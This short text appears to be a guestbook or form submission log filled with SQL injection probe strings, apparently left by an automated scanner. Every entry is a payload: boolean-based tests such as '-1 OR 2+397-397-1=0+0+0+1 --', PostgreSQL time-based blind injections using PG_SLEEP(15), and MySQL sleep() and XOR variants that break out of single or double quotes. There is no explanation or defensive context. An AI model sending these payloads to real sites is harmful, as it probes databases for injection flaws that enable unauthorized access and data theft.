Guest:
555-1) OR 667=(SELECT 667 FROM PG_SLEEP(15))--


Guest:
555-1) OR 667=(SELECT 667 FROM PG_SLEEP(15))--


-1 OR 2+397-397-1=0+0+0+1 --

-1 OR 2+173-173-1=0+0+0+1

-1' OR 2+840-840-1=0+0+0+1 --

-1' OR 2+964-964-1=0+0+0+1 or 'gPLVTXf6'='

-1" OR 2+492-492-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555-1) OR 667=(SELECT 667 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1) OR 667=(SELECT 667 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z